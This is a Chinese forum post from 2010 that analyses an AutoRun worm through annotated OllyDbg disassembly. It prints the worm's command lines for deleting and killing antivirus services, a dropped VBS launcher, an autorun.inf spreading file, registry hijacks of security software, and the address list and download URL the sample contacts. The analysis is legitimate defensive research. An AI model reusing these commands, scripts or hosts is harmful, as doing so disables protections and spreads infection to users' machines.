蠕虫也猖狂？？？(⊙o⊙)

沧海一粟 · 发表于 2010-1-25 13:08

本帖最后由沧海一粟于 2010-1-25 14:04 编辑

【文章标题】简单分析某蠕虫病毒
【NOD32命名】 Win32/AutoRun.Agent.IE
【相关信息】Nspack 3.7加壳、加壳后长度33,792字节
【相关工具】PEID、OllyDbg
【操作平台】Windows XP SP3

(一)、病毒执行的总体流程

131414E0 . 81EC 20020000 sub esp, 220
131414E6 . 56 push esi
131414E7 . 8B35 FC301413 mov esi, dword ptr [131430FC] ; USER32.MessageBoxA
131414ED . 57 push edi
131414EE . 6A 00 push 0 
131414F0 . 68 E8D91413 push 1314D9E8 ; |Title = "CNGXB"
131414F5 . 68 E0D91413 push 1314D9E0 ; |Text = "FUCK"
131414FA . 6A FF push -1 ; 隐藏窗口
131414FC . FFD6 call esi ; \MessageBoxA
131414FE . 6A 00 push 0 
13141500 . 68 DCD91413 push 1314D9DC ; |Title = "TMD"
13141505 . 68 D0D91413 push 1314D9D0 ; |Text = "ALASEINFKYS"
1314150A . 6A FF push -1 ; 隐藏窗口
1314150C . FFD6 call esi ; \MessageBoxA
1314150E . 8D4424 24 lea eax, dword ptr [esp+24]
13141512 . 68 00010000 push 100 
13141517 . 50 push eax 
13141518 . 6A 00 push 0 
1314151A . FF15 8C301413 call dword ptr [1314308C] 
13141520 . 8D4C24 24 lea ecx, dword ptr [esp+24]
13141524 . 6A 06 push 6 ; /FileAttributes = HIDDEN|SYSTEM
13141526 . 51 push ecx 
13141527 . FF15 9C301413 call dword ptr [1314309C] ; \SetFileAttributesA，设置病毒自身为系统隐藏
1314152D . 68 C4D91413 push 1314D9C4 ; /FileName = "AUTORUN.INF"
13141532 . FF15 88301413 call dword ptr [13143088] ；GetFileAttributesA
13141538 . 83F8 FF cmp eax, -1
1314153B . /75 11 jnz short 1314154E
1314153D . |6A 04 push 4 ; /Flags = DELAY_UNTIL_REBOOT
1314153F . |8D5424 28 lea edx, dword ptr [esp+28] 
13141543 . |6A 00 push 0 
13141545 . |52 push edx 
13141546 . |FF15 50301413 call dword ptr [13143050] ; \MoveFileExA
1314154C . /EB 34 jmp short 13141582
1314154E > |B9 41000000 mov ecx, 41
13141553 . |33C0 xor eax, eax
13141555 . |8DBC24 240100>lea edi, dword ptr [esp+124]
1314155C . |6A 03 push 3 
1314155E . |F3:AB rep stos dword ptr es:[edi] 
13141560 . |8D4424 28 lea eax, dword ptr [esp+28] 
13141564 . |8D8C24 280100>lea ecx, dword ptr [esp+128] 
1314156B . |50 push eax 
1314156C . |51 push ecx 
1314156D . |E8 6E0F0000 call 131424E0 
13141572 . |8D9424 300100>lea edx, dword ptr [esp+130]
13141579 . |52 push edx
1314157A . |E8 D1FEFFFF call 13141450
1314157F . |83C4 10 add esp, 10
13141582 > \FF15 F8301413 call dword ptr [131430F8] ; [GetInputState
13141588 . 6A 00 push 0 ; /lParam = 0
1314158A . 6A 00 push 0 ; |wParam = 0
1314158C . 6A 00 push 0 ; |Message = WM_NULL
1314158E . FF15 4C301413 call dword ptr [1314304C] ; |[GetCurrentThreadId
13141594 . 50 push eax ; |ThreadId
13141595 . FF15 F4301413 call dword ptr [131430F4] ; \PostThreadMessageA
1314159B . 6A 00 push 0 ; /MsgFilterMax = 0
1314159D . 6A 00 push 0 
1314159F . 8D4424 10 lea eax, dword ptr [esp+10] 
131415A3 . 6A 00 push 0 
131415A5 . 50 push eax 
131415A6 . FF15 F0301413 call dword ptr [131430F0] 
131415AC . 68 B8D91413 push 1314D9B8 ; /MutexName = "QQ935623508"
131415B1 . 6A 00 push 0 
131415B3 . 6A 00 push 0 
131415B5 . FF15 48301413 call dword ptr [13143048] ; \CreateMutexA（创建互斥体）
131415BB . 8BF8 mov edi, eax
131415BD . FF15 44301413 call dword ptr [13143044] ; ntdll.RtlGetLastWin32Error
131415C3 . 3D B7000000 cmp eax, 0B7
131415C8 . /75 1F jnz short 131415E9
131415CA . |57 push edi ; /hObject
131415CB . |FF15 40301413 call dword ptr [13143040] ; \CloseHandle
131415D1 . |6A 00 push 0
131415D3 . |68 80D81413 push 1314D880 ; ASCII "212120"
131415D8 . |68 78D81413 push 1314D878
131415DD . |6A FF push -1
131415DF . |FFD6 call esi
131415E1 . |6A 00 push 0 ; /ExitCode = 0
131415E3 . |FF15 3C301413 call dword ptr [1314303C] ; \ExitProcess
131415E9 > \E8 92030000 call 13141980 ；设置SeDebugPrivilege，提升权限
131415EE . 8B3D A4301413 mov edi, dword ptr [131430A4] ; kernel32.Sleep
131415F4 . 68 D0070000 push 7D0 ; /Timeout = 2000. ms
131415F9 . FFD7 call edi ; \Sleep
131415FB . 68 ACD91413 push 1314D9AC ; ASCII "ekrn.exe"
13141600 . E8 AB0C0000 call 131422B0 ；遍历进程查找ekrn.exe
13141605 . 8B35 A0301413 mov esi, dword ptr [131430A0] ; kernel32.WinExec
1314160B . 83C4 04 add esp, 4
1314160E . 85C0 test eax, eax
13141610 . 74 1B je short 1314162D ；比较是否找到ekrn.exe
13141612 . 6A 00 push 0 ; /ShowState = SW_HIDE
13141614 . 68 94D91413 push 1314D994 ; |CmdLine = "cmd /c sc delete ekrn"
13141619 . FFD6 call esi ; \WinExec(删除服务)
1314161B . 6A 00 push 0 
1314161D . 68 74D91413 push 1314D974 ; |CmdLine = "cmd /c taskkill /im ekrn.exe /f"
13141622 . FFD6 call esi ; \WinExec（强制结束ekrn.exe进程）
13141624 . 6A 00 push 0 
13141626 . 68 54D91413 push 1314D954 ; |CmdLine = "cmd /c taskkill /im egui.exe /f"
1314162B . FFD6 call esi ; \WinExec（强制结束egui.exe进程）
1314162D > 68 44D91413 push 1314D944
13141632 . E8 790C0000 call 131422B0 ；遍历进程查找nod32krn.exe
13141637 . 83C4 04 add esp, 4
1314163A . 85C0 test eax, eax
1314163C . /74 1B je short 13141659 ；比较失败则跳转
1314163E . |6A 00 push 0
13141640 . |68 28D91413 push 1314D928 ; ASCII "cmd /c sc delete nod32krn"
13141645 . |FFD6 call esi ; \WinExec(删除服务)
13141647 . |6A 00 push 0
13141649 . |68 04D91413 push 1314D904 ; ASCII "cmd /c taskkill /im nod32krn.exe /f"
1314164E . |FFD6 call esi ; \WinExec（强制结束nod32krn.exe进程）
13141650 . |6A 00 push 0
13141652 . |68 E0D81413 push 1314D8E0 ; ASCII "cmd /c taskkill /im nod32gui.exe /f"
13141657 . |FFD6 call esi ; \WinExec（强制结束nod32gui.exe进程）
13141659 > \68 401F0000 push 1F40
1314165E . FFD7 call edi 
13141660 . E8 FBFAFFFF call 13141160
13141665 . 68 30750000 push 7530
1314166A . FFD7 call edi ；sleep 30秒
1314166C . 8B35 38301413 mov esi, dword ptr [13143038] ; kernel32.CreateThread
13141672 . 6A 00 push 0 
13141674 . 6A 00 push 0 
13141676 . 6A 00 push 0 
13141678 . 68 90101413 push 13141090 ; |ThreadFunction = 样本.13141090
1314167D . 6A 00 push 0 
1314167F . 6A 00 push 0 
13141681 . FFD6 call esi ; \CreateThread，释放释放DLL12.TEM的动态链接库
13141683 . 68 6CD81413 push 1314D86C ; /FileName = "C:\sam.dll"
13141688 . FF15 98301413 call dword ptr [13143098] ; \DeleteFileA
1314168E . 6A 00 push 0 ; /pThreadId = NULL
13141690 . 6A 00 push 0 ; |CreationFlags = 0
13141692 . 6A 00 push 0 ; |pThreadParm = NULL
13141694 . 68 60131413 push 13141360 ; |ThreadFunction = 样本.13141360
13141699 . 6A 00 push 0 ; |StackSize = 0
1314169B . 6A 00 push 0 ; |pSecurity = NULL
1314169D . FFD6 call esi ; \CreateThread，感染\linkinfo.dll文件
1314169F . 68 10270000 push 2710
131416A4 . FFD7 call edi
131416A6 . 6A 00 push 0
131416A8 . 6A 00 push 0
131416AA . 6A 00 push 0
131416AC . 68 50231413 push 13142350
131416B1 . 6A 00 push 0
131416B3 . 6A 00 push 0
131416B5 . FFD6 call esi ；CreateThread，释放"\Fonts\lubb.fon"驱动文件结束360相关软件
131416B7 . 68 E02E0000 push 2EE0
131416BC . FFD7 call edi
131416BE . 6A 00 push 0
131416C0 . 6A 00 push 0
131416C2 . 6A 00 push 0
131416C4 . 68 70101413 push 13141070
131416C9 . 6A 00 push 0
131416CB . 6A 00 push 0
131416CD . FFD6 call esi ；CreateThread，创建AVP镜像劫持，释放\fonts\lvbasb.sys结束AVP
131416CF . 6A 00 push 0
131416D1 . 6A 00 push 0
131416D3 . 6A 00 push 0
131416D5 . 68 C0141413 push 131414C0
131416DA . 6A 00 push 0
131416DC . 6A 00 push 0
131416DE . FFD6 call esi ；CreateThread,遍历磁盘释放autorun.Inf和复制病毒本身为GRIL.PIF，实现病毒程序的自动运行。 
131416E0 . 5F pop edi
131416E1 . B8 01000000 mov eax, 1
131416E6 . 5E pop esi
131416E7 . 81C4 20020000 add esp, 220
131416ED . C3 retn

(二)、call 13141160释放%SystemDriver%\sam.Dll，并设置系统隐藏，结束大量安全软件进程

13141160 /$ 55 push ebp
13141161 |. 8BEC mov ebp, esp
13141163 |. 81EC 04010000 sub esp, 104
13141169 |. 53 push ebx
1314116A |. 90 nop
1314116B |. 90 nop
1314116C |. 90 nop
1314116D |. 90 nop
1314116E |. 68 6CD81413 push 1314D86C
13141173 |. E8 180C0000 call 13141D90 ；释放%SystemDriver%\sam.Dll，并设置系统隐藏，结束大量安全软件进程 
13141178 |. 83C4 04 add esp, 4
1314117B |. 84C0 test al, al
1314117D |. 0F84 1C010000 je 1314129F
13141183 |. 8B1D A4301413 mov ebx, dword ptr [131430A4] ; kernel32.Sleep
13141189 |. 68 58020000 push 258 ; /Timeout = 600. ms
1314118E |. FFD3 call ebx ; \Sleep
13141190 |. 68 6CD81413 push 1314D86C
13141195 |. E8 96FFFFFF call 13141130
1314119A |. 68 60D81413 push 1314D860 ; ASCII "CCenter.exe" 
1314119F |. E8 0C110000 call 131422B0 ;查找 "CCenter.exe" 
131411A4 |. 83C4 08 add esp, 8
131411A7 |. 85C0 test eax, eax
131411A9 |. 0F84 D5000000 je 13141284
131411AF |. 56 push esi
131411B0 |. 57 push edi
131411B1 |. B9 40000000 mov ecx, 40
131411B6 |. 33C0 xor eax, eax
131411B8 |. 8DBD FDFEFFFF lea edi, dword ptr [ebp-103]
131411BE |. C685 FCFEFFFF>mov byte ptr [ebp-104], 0
131411C5 |. F3:AB rep stos dword ptr es:[edi]
131411C7 |. 66:AB stos word ptr es:[edi]
131411C9 |. AA stos byte ptr es:[edi]
131411CA |. 8D85 FCFEFFFF lea eax, dword ptr [ebp-104]
131411D0 |. 68 04010000 push 104 ; /BufSize = 104 (260.)
131411D5 |. 50 push eax ; |Buffer
131411D6 |. FF15 94301413 call dword ptr [13143094] ; \GetWindowsDirectoryA
131411DC BF 4CD81413 mov edi, 1314D84C ; ASCII "\Fonts\lsnsts.VBS"
{
lsnsts.VBS的内容
Set wshshell=wscript.CreateObject("WScript.Shell")
wshshell.run "rundll32 C:\sam.dll,RSDK",0 
}

131411E1 |. 83C9 FF or ecx, FFFFFFFF
131411E4 |. 33C0 xor eax, eax
131411E6 |. 8D95 FCFEFFFF lea edx, dword ptr [ebp-104]
131411EC |. F2:AE repne scas byte ptr es:[edi]
131411EE |. F7D1 not ecx
131411F0 |. 2BF9 sub edi, ecx
131411F2 |. 68 A4D71413 push 1314D7A4 ; /mode = "w+"
131411F7 |. 8BF7 mov esi, edi ; |
131411F9 |. 8BFA mov edi, edx ; |
131411FB |. 8BD1 mov edx, ecx ; |
131411FD |. 83C9 FF or ecx, FFFFFFFF ; |
13141200 |. F2:AE repne scas byte ptr es:[edi] ; |
13141202 |. 8BCA mov ecx, edx ; |
13141204 |. 4F dec edi ; |
13141205 |. C1E9 02 shr ecx, 2 ; |
13141208 |. F3:A5 rep movs dword ptr es:[edi], dword p>; |
1314120A |. 8BCA mov ecx, edx ; |
1314120C |. 8D85 FCFEFFFF lea eax, dword ptr [ebp-104] ; |
13141212 |. 83E1 03 and ecx, 3 ; |
13141215 |. 50 push eax ; |path
13141216 |. F3:A4 rep movs byte ptr es:[edi], byte ptr>; |
13141218 |. E8 B1120000 call 131424CE ; \fopen
1314121D |. 8BF0 mov esi, eax
1314121F |. 83C4 08 add esp, 8
13141222 |. 85F6 test esi, esi
13141224 |. 74 1F je short 13141245
13141226 |. 56 push esi ; /stream
13141227 |. 68 18D81413 push 1314D818 ; |s = "Setwshshell=wscript.CreateObject(""WScript.Shell"")",LF,""
1314122C |. E8 A3120000 call 131424D4 ; \fputs
13141231 |. 56 push esi ; /stream
13141232 |. 68 ECD71413 push 1314D7EC ; |s = "wshshell.run ""rundll32 C:\sam.dll,RSDK"",0"
13141237 |. E8 98120000 call 131424D4 ; \fputs
1314123C |. 56 push esi ; /stream
1314123D |. E8 80120000 call 131424C2 ; \fclose
13141242 |. 83C4 14 add esp, 14
13141245 |> 68 B0040000 push 4B0
1314124A |. FFD3 call ebx
1314124C |. 6A 00 push 0 ; /IsShown = 0
1314124E |. 8D8D FCFEFFFF lea ecx, dword ptr [ebp-104] ; |
13141254 |. 6A 00 push 0 ; |DefDir = NULL
13141256 |. 51 push ecx ; |Parameters
13141257 |. 68 E0D71413 push 1314D7E0 ; |FileName = "cscript.exe"
1314125C |. 68 D8D71413 push 1314D7D8 ; |Operation = "open"
13141261 |. 6A 00 push 0 ; |hWnd = NULL
13141263 |. FF15 E8301413 call dword ptr [131430E8] ; \ShellExecuteA
13141269 |. 68 88130000 push 1388
1314126E |. FFD3 call ebx
13141270 |. 8D95 FCFEFFFF lea edx, dword ptr [ebp-104]
13141276 |. 52 push edx ; /FileName
13141277 |. FF15 98301413 call dword ptr [13143098] ; \DeleteFileA
1314127D |. 5F pop edi
1314127E |. 5E pop esi
1314127F |. 5B pop ebx
13141280 |. 8BE5 mov esp, ebp
13141282 |. 5D pop ebp
13141283 |. C3 retn
13141284 6A 00 push 0
13141286 6A 00 push 0
13141288 68 C8D71413 push 1314D7C8 ; ASCII "C:\sam.dll,RSDK"
1314128D 68 B8D71413 push 1314D7B8 ; ASCII "rundll32.exe"
13141292 68 D8D71413 push 1314D7D8 ; ASCII "open"
13141297 6A 00 push 0
13141299 FF15 E8301413 call dword ptr [131430E8] ; SHELL32.ShellExecuteA
1314129F 5B pop ebx
131412A0 8BE5 mov esp, ebp
131412A2 5D pop ebp
131412A3 C3 retn

(三)、13141678 . 68 90101413 push 13141090释放DLL12.TEM的动态链接库

释放DLL12.TEM的动态链接库，在动态库中释放isb.Ini地址列表，创建了大量的安全软件的镜像劫持
isb.Ini地址列表
ver2
61.135.189.52
220.181.19.70
118.228.148.28
221.236.12.230
121.14.0.58
211.65.195.65
219.234.81.61
203.184.141.226
222.35.250.144
domains
echo.acc.sogou.Com

创建了大量的安全软件的镜像劫持
HKEY_LOCAL_MACHINESOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\安全软件
和修改注册表表使隐藏文件属性失效，删除注册表相关键值破坏安全模式，阻止用户进入安全模

(四)、 push 13141360 感染"\linkinfo.dll"文件

13141360 /. 55 push ebp
13141361 |. 8BEC mov ebp, esp
13141363 |. 81EC 08020000 sub esp, 208
13141369 |. 53 push ebx
1314136A |. 56 push esi
1314136B |. 57 push edi
1314136C |. 90 nop
1314136D |. 8D85 F8FDFFFF lea eax, dword ptr [ebp-208]
13141373 |. 68 04010000 push 104 ; /BufSize = 104 (260.)
13141378 |. 50 push eax ; |Buffer
13141379 |. FF15 84301413 call dword ptr [13143084] ; \GetSystemDirectoryA
1314137F |. 90 nop
13141380 |. 83C9 FF or ecx, FFFFFFFF
13141383 |. 8DBD F8FDFFFF lea edi, dword ptr [ebp-208]
13141389 |. 33C0 xor eax, eax
1314138B |. 8D95 FCFEFFFF lea edx, dword ptr [ebp-104]
13141391 |. F2:AE repne scas byte ptr es:[edi]
13141393 |. F7D1 not ecx
13141395 |. 2BF9 sub edi, ecx
13141397 |. 8BC1 mov eax, ecx
13141399 |. 8BF7 mov esi, edi
1314139B |. 8BFA mov edi, edx
1314139D |. 8D95 F8FDFFFF lea edx, dword ptr [ebp-208]
131413A3 |. C1E9 02 shr ecx, 2
131413A6 |. F3:A5 rep movs dword ptr es:[edi], dword p>
131413A8 |. 8BC8 mov ecx, eax
131413AA |. 33C0 xor eax, eax
131413AC |. 83E1 03 and ecx, 3
131413AF |. F3:A4 rep movs byte ptr es:[edi], byte ptr>
131413B1 |. BF CCD81413 mov edi, 1314D8CC ; ASCII "\linkinfo.dll"
131413B6 |. 83C9 FF or ecx, FFFFFFFF
131413B9 |. F2:AE repne scas byte ptr es:[edi]
131413BB |. F7D1 not ecx
131413BD |. 2BF9 sub edi, ecx
131413BF |. 8BF7 mov esi, edi
131413C1 |. 8BD9 mov ebx, ecx
131413C3 |. 8BFA mov edi, edx
131413C5 |. 83C9 FF or ecx, FFFFFFFF
131413C8 |. F2:AE repne scas byte ptr es:[edi]
131413CA |. 8BCB mov ecx, ebx
131413CC |. 4F dec edi
131413CD |. C1E9 02 shr ecx, 2
131413D0 |. F3:A5 rep movs dword ptr es:[edi], dword p>
131413D2 |. 8BCB mov ecx, ebx
131413D4 |. 8D95 FCFEFFFF lea edx, dword ptr [ebp-104]
131413DA |. 83E1 03 and ecx, 3
131413DD |. F3:A4 rep movs byte ptr es:[edi], byte ptr>
131413DF |. BF B4D81413 mov edi, 1314D8B4 ; ASCII "\dllcache\linkinfo.dll"
131413E4 |. 83C9 FF or ecx, FFFFFFFF
131413E7 |. F2:AE repne scas byte ptr es:[edi]
131413E9 |. F7D1 not ecx
131413EB |. 2BF9 sub edi, ecx
131413ED |. 8BF7 mov esi, edi
131413EF |. 8BD9 mov ebx, ecx
131413F1 |. 8BFA mov edi, edx
131413F3 |. 83C9 FF or ecx, FFFFFFFF
131413F6 |. F2:AE repne scas byte ptr es:[edi]
131413F8 |. 8BCB mov ecx, ebx
131413FA |. 4F dec edi
131413FB |. C1E9 02 shr ecx, 2
131413FE |. F3:A5 rep movs dword ptr es:[edi], dword p>
13141400 |. 8BCB mov ecx, ebx
13141402 |. 8D85 FCFEFFFF lea eax, dword ptr [ebp-104]
13141408 |. 83E1 03 and ecx, 3
1314140B |. 50 push eax ; /FileName
1314140C |. F3:A4 rep movs byte ptr es:[edi], byte ptr>; |
1314140E |. FF15 88301413 call dword ptr [13143088] ; \GetFileAttributesA
13141414 |. 5F pop edi
13141415 |. 5E pop esi
13141416 |. 83F8 FF cmp eax, -1
13141419 |. 5B pop ebx
1314141A |. 75 26 jnz short 13141442
1314141C |. 8D8D FCFEFFFF lea ecx, dword ptr [ebp-104]
13141422 |. 6A 00 push 0 ; /FailIfExists = FALSE
13141424 |. 8D95 F8FDFFFF lea edx, dword ptr [ebp-208] ; |
1314142A |. 51 push ecx ; |NewFileName
1314142B |. 52 push edx ; |ExistingFileName
1314142C |. FF15 90301413 call dword ptr [13143090] ; \CopyFileA
13141432 |. 68 28A00000 push 0A028 ; /Timeout = 41000. ms
13141437 |. FF15 A4301413 call dword ptr [131430A4] ; \Sleep
1314143D |. E8 DE070000 call 13141C20
13141442 |> B8 01000000 mov eax, 1
13141447 |. 8BE5 mov esp, ebp
13141449 |. 5D pop ebp
1314144A \. C2 0400 retn 4

(五)、 push 13142350 结束360相关的安全文件

13142350 . 56 push esi
13142351 . 8B35 A4301413 mov esi, dword ptr [131430A4] ; kernel32.Sleep
13142357 > 68 C8DE1413 push 1314DEC8 ; ASCII "360tray.exe"
1314235C . E8 4FFFFFFF call 131422B0 ;遍历进程查找360tray.exe
13142361 . 83C4 04 add esp, 4
13142364 . 85C0 test eax, eax
13142366 . 74 05 je short 1314236D
13142368 . E8 73FBFFFF call 13141EE0 ;比较是否找到360tray.Exe，找到释放驱动，结束360相关的安全软件
{
13141EE0 /$ 55 push ebp
13141EE1 |. 8BEC mov ebp, esp
13141EE3 |. 81EC E0010000 sub esp, 1E0
13141EE9 |. 53 push ebx
13141EEA |. 56 push esi
13141EEB |. 57 push edi
13141EEC |. 8D85 20FEFFFF lea eax, dword ptr [ebp-1E0]
13141EF2 |. 68 04010000 push 104 ; /BufSize = 104 (260.)
13141EF7 |. 50 push eax ; |Buffer
13141EF8 |. FF15 94301413 call dword ptr [13143094] ; \GetWindowsDirectoryA
13141EFE |. BF D4DE1413 mov edi, 1314DED4 ; ASCII "\Fonts\lubb.fon"
13141F03 |. 83C9 FF or ecx, FFFFFFFF
13141F06 |. 33C0 xor eax, eax
13141F08 |. 8D95 20FEFFFF lea edx, dword ptr [ebp-1E0]
13141F0E |. F2:AE repne scas byte ptr es:[edi]
13141F10 |. F7D1 not ecx
13141F12 |. 2BF9 sub edi, ecx
13141F14 |. 8BF7 mov esi, edi
13141F16 |. 8BD9 mov ebx, ecx
13141F18 |. 8BFA mov edi, edx
13141F1A |. 83C9 FF or ecx, FFFFFFFF
13141F1D |. F2:AE repne scas byte ptr es:[edi]
13141F1F |. 8BCB mov ecx, ebx
13141F21 |. 4F dec edi
13141F22 |. C1E9 02 shr ecx, 2
13141F25 |. F3:A5 rep movs dword ptr es:[edi], dword p>
13141F27 |. 8BCB mov ecx, ebx
13141F29 |. 8D85 20FEFFFF lea eax, dword ptr [ebp-1E0]
13141F2F |. 83E1 03 and ecx, 3
13141F32 |. 50 push eax
13141F33 |. F3:A4 rep movs byte ptr es:[edi], byte ptr>
13141F35 |. E8 B6FEFFFF call 13141DF0
13141F3A |. 83C4 04 add esp, 4
13141F3D |. 68 F4010000 push 1F4 ; /Timeout = 500. ms
13141F42 |. FF15 A4301413 call dword ptr [131430A4] ; \Sleep
13141F48 |. 90 nop
13141F49 |. 90 nop
13141F4A |. 90 nop
13141F4B |. 68 C8DE1413 push 1314DEC8 ; ASCII "360tray.exe"
13141F50 |. E8 FBFEFFFF call 13141E50 ；结束进程
13141F55 |. 68 BCDE1413 push 1314DEBC ; ASCII "360Safe.exe"
13141F5A |. 8945 EC mov dword ptr [ebp-14], eax
13141F5D |. E8 EEFEFFFF call 13141E50
13141F62 |. 68 ACDE1413 push 1314DEAC ; ASCII "safeboxTray.exe"
13141F67 |. 8945 F0 mov dword ptr [ebp-10], eax
13141F6A |. E8 E1FEFFFF call 13141E50
13141F6F |. 68 9CDE1413 push 1314DE9C ; ASCII "360safebox.exe"
13141F74 |. 8945 F8 mov dword ptr [ebp-8], eax
13141F77 |. E8 D4FEFFFF call 13141E50
13141F7C |. 83C4 10 add esp, 10
13141F7F |. 8945 F4 mov dword ptr [ebp-C], eax
13141F82 |. 6A 00 push 0 
13141F84 |. 6A 00 push 0 
13141F86 |. 6A 03 push 3 
13141F88 |. 6A 00 push 0 
13141F8A |. 6A 00 push 0 
13141F8C |. 68 000000C0 push C0000000 
13141F91 |. 68 94DE1413 push 1314DE94 ; |FileName = "\\.\SKD"
13141F96 |. FF15 58301413 call dword ptr [13143058] ; \CreateFileA
13141F9C |. 8BD8 mov ebx, eax
................................................................................................

}
1314236D > 68 30750000 push 7530
13142372 . FFD6 call esi
13142374 .^ EB E1 jmp short 13142357

(六)、push 13141070 创建AVP镜像劫持

[/code][code]13141070 . 68 50C30000 push 0C350 ; /Timeout = 50000. ms
13141075 . FF15 A4301413 call dword ptr [131430A4] ; \Sleep
1314107B . 68 0CD71413 push 1314D70C ; ASCII "avp.EXE"
13141080 . E8 FB120000 call 13142380 ;创建AVP镜像劫持
; HKEY_LOCAL_MACHINESOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AVP.EXE
13141085 . 83C4 04 add esp, 4
13141088 . E8 B30A0000 call 13141B40 ;释放驱动C:\WINDOWS\fonts\lvbasb.sys，结束AVP.EXE进程
1314108D . C2 0400 retn 4
13141090 . E8 6BFFFFFF call 13141000 
13141095 . B8 01000000 mov eax, 1
1314109A . C2 0400 retn 4

(七)、push 131414C0 遍历磁盘释放autorun.Inf和复制病毒本身为GRIL.PIF，实现病毒程序的自动运行

131414C0 56 push esi
131414C1 8B35 A4301413 mov esi, dword ptr [131430A4] ; kernel32.Sleep
131414C7 68 30750000 push 7530
131414CC FFD6 call esi ;sleep 30秒
131414CE E8 9DFFFFFF call 13141470 ；遍历磁盘释放autorun.Inf和复制病毒本身为
GRIL.PIF，实现病毒程序的自动运行。
AutoRun.Inf的内容
[AutoRun]

shell\open=打开(&O)

shell\open\Command=GRIL.PIF

shell\open\Default=1

shell\explore=资源管理器(&X)

shell\explore\command=GRIL.PIF 
131414D3 ^ EB F2 jmp short 131414C7

(八)、%temp%\dll2.tmp动态连接库分析

10002520 55 push ebp
10002521 8BEC mov ebp, esp
10002523 8B45 0C mov eax, dword ptr [ebp+C]
10002526 83F8 01 cmp eax, 1
10002529 75 69 jnz short 10002594
1000252B 8B45 08 mov eax, dword ptr [ebp+8]
1000252E 50 push eax
1000252F FF15 44100010 call dword ptr [10001044] ; kernel32.DisableThreadLibraryCalls
10002535 E8 56FAFFFF call 10001F90 ；检测是否被调试
1000253A 85C0 test eax, eax
1000253C 74 08 je short 10002546
1000253E 6A 01 push 1
10002540 FF15 A4100010 call dword ptr [100010A4] ; kernel32.ExitProcess
10002546 56 push esi
10002547 72 03 jb short 1000254C
10002549 73 01 jnb short 1000254C
1000254B E8 E85F0E00 call 100E8538 ；设置 "SeDebugPrivilege"，提升权限
10002550 008B 35541000 add byte ptr [ebx+105435], cl
10002556 106A 00 adc byte ptr [edx], ch
10002559 6A 00 push 0
1000255B 6A 00 push 0
1000255D 68 00220010 push 10002200

{
10002200 /. 55 push ebp
10002201 |. 8BEC mov ebp, esp
10002203 |. 81EC D4020000 sub esp, 2D4
10002209 |. 53 push ebx
1000220A |. 56 push esi
1000220B |. 57 push edi
1000220C |. 68 14120010 push 10001214 ; /MutexName = "QQ935623508"
10002211 |. 6A 00 push 0 ; |InitialOwner = FALSE
10002213 |. 6A 00 push 0 ; |pSecurity = NULL
10002215 |. FF15 68100010 call dword ptr [10001068] ; \CreateMutexA
1000221B |. BB 01000000 mov ebx, 1
10002220 |. 895D FC mov dword ptr [ebp-4], ebx
10002223 |> 68 60EA0000 /push 0EA60 ; /Timeout = 60000. ms
10002228 |. FF15 94100010 |call dword ptr [10001094] ; \Sleep
1000222E |. B9 0D000000 |mov ecx, 0D
10002233 |. BE DC110010 |mov esi, 100011DC
10002238 |. 8DBD F8FEFFFF |lea edi, dword ptr [ebp-108]
1000223E |. 33C0 |xor eax, eax
10002240 |. F3:A5 |rep movs dword ptr es:[edi], dword >
10002242 |. A4 |movs byte ptr es:[edi], byte ptr [es>
10002243 |. B9 0B000000 |mov ecx, 0B
10002248 |. 8DBD 2DFFFFFF |lea edi, dword ptr [ebp-D3]
1000224E |. F3:AB |rep stos dword ptr es:[edi]
10002250 |. 66:AB |stos word ptr es:[edi]
10002252 |. AA |stos byte ptr es:[edi]
10002253 |. B9 18000000 |mov ecx, 18
10002258 |. 33C0 |xor eax, eax
1000225A |. 8DBD 5DFFFFFF |lea edi, dword ptr [ebp-A3]
10002260 |. C685 5CFFFFFF>|mov byte ptr [ebp-A4], 0
10002267 |. F3:AB |rep stos dword ptr es:[edi]
10002269 |. 66:AB |stos word ptr es:[edi]
1000226B |. AA |stos byte ptr es:[edi]
1000226C |. 8D85 5CFFFFFF |lea eax, dword ptr [ebp-A4]
10002272 |. 8D8D F8FEFFFF |lea ecx, dword ptr [ebp-108]
10002278 |. 50 |push eax
10002279 |. 51 |push ecx
1000227A |. E8 B1FDFFFF |call 10002030 ；连接网络地址 "http://winddk.ch.ma/dd.txt"
1000227F |. 83C4 08 |add esp, 8
10002282 |. 68 A4110010 |push 100011A4 ; /FileName = "urlmon.dll"
10002287 |. FF15 A0100010 |call dword ptr [100010A0] ; \LoadLibraryA
1000228D |. 85C0 |test eax, eax
1000228F |. 8945 EC |mov dword ptr [ebp-14], eax
10002292 |. 0F84 2A010000 |je 100023C2
10002298 |. 90 |nop
10002299 |. 33C9 |xor ecx, ecx
1000229B |. A1 A0110010 |mov eax, dword ptr [100011A0]
100022A0 |. 894D C8 |mov dword ptr [ebp-38], ecx
100022A3 |. 8B15 9C110010 |mov edx, dword ptr [1000119C]
100022A9 |. 894D CC |mov dword ptr [ebp-34], ecx
100022AC |. 8945 C4 |mov dword ptr [ebp-3C], eax
100022AF |. 894D D0 |mov dword ptr [ebp-30], ecx
100022B2 |. 66:A1 9811001>|mov ax, word ptr [10001198]
100022B8 |. 894D D4 |mov dword ptr [ebp-2C], ecx
100022BB |. 66:8945 E4 |mov word ptr [ebp-1C], ax
100022BF |. 894D D8 |mov dword ptr [ebp-28], ecx
100022C2 |. A0 92110010 |mov al, byte ptr [10001192]
100022C7 |. 66:894D DC |mov word ptr [ebp-24], cx
100022CB |. 894D E6 |mov dword ptr [ebp-1A], ecx
100022CE |. 8B0D 8C110010 |mov ecx, dword ptr [1000118C]
100022D4 |. 8955 C0 |mov dword ptr [ebp-40], edx
100022D7 |. 8B15 94110010 |mov edx, dword ptr [10001194]
100022DD |. 894D F0 |mov dword ptr [ebp-10], ecx
100022E0 |. 33C9 |xor ecx, ecx
100022E2 |. 8845 F6 |mov byte ptr [ebp-A], al
100022E5 |. 66:894D F7 |mov word ptr [ebp-9], cx
100022E9 |. 8D7D E0 |lea edi, dword ptr [ebp-20]
100022EC |. 884D F9 |mov byte ptr [ebp-7], cl
100022EF |. 83C9 FF |or ecx, FFFFFFFF
100022F2 |. 33C0 |xor eax, eax
100022F4 |. 8955 E0 |mov dword ptr [ebp-20], edx
100022F7 |. 66:8B15 90110>|mov dx, word ptr [10001190]
100022FE |. F2:AE |repne scas byte ptr es:[edi]
10002300 |. F7D1 |not ecx
10002302 |. 66:8955 F4 |mov word ptr [ebp-C], dx
10002306 |. 2BF9 |sub edi, ecx
10002308 |. 8D55 C0 |lea edx, dword ptr [ebp-40]
